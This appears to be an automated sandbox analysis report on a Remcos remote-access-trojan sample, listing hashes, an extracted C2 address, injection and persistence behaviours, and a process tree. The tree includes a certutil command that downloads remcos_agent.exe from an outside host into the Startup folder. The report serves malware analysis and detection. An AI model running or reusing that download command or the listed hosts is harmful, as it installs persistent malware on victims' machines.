Analysis
- max time kernel
150s - max time network
149s - platform
windows10_x64 - resource
win10v20201028 - submitted
10/11/2020, 11:08
Static task
static1
Behavioral task
behavioral1
Sample
113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
- Target 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe
- Size 961KB
- Sample201110-rydsg1g14e
- SHA256 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9
- MD5 50fc63b68879c08305545607c7aace7a
- SHA1 7a8ae47bf57b292251c460b8e83c2c76a418f1b8
- SHA512 ee5746546fc81df376589e432e29facd6045688b0514d2d7acad7cbe9237ba0e8a9e27271b74bab50eb1b7299be0a6914541ca05c349bd2fbf37d59b81281024
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
remcos
C2
-
www.rmagent.biz:7181
Signatures
- Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BluetoothApis.lnk 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 480 set thread context of 2612 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 80 - Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2612 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe - Suspicious use of SendNotifyMessage 3 IoCs
pid Process 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2612 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 480 wrote to memory of 776 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 76 PID 480 wrote to memory of 776 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 76 PID 480 wrote to memory of 776 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 76 PID 776 wrote to memory of 648 776 cmd.exe 79 PID 776 wrote to memory of 648 776 cmd.exe 79 PID 776 wrote to memory of 648 776 cmd.exe 79 PID 480 wrote to memory of 2612 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 80 PID 480 wrote to memory of 2612 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 80 PID 480 wrote to memory of 2612 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 80 PID 480 wrote to memory of 2612 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 80 PID 480 wrote to memory of 2612 480 113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe 80
Processes
-
C:\Users\Admin\AppData\Local\Temp\113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe"C:\Users\Admin\AppData\Local\Temp\113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe"1⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:480 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:776 -
C:\Windows\SysWOW64\certutil.execertutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"3⤵PID:648
-
-
-
C:\Users\Admin\AppData\Local\Temp\113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe"C:\Users\Admin\AppData\Local\Temp\113354cddc407ca32cd4cff44470262b75d945ce0030e42f0c7d9fd8b59b10e9.exe"2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2612
-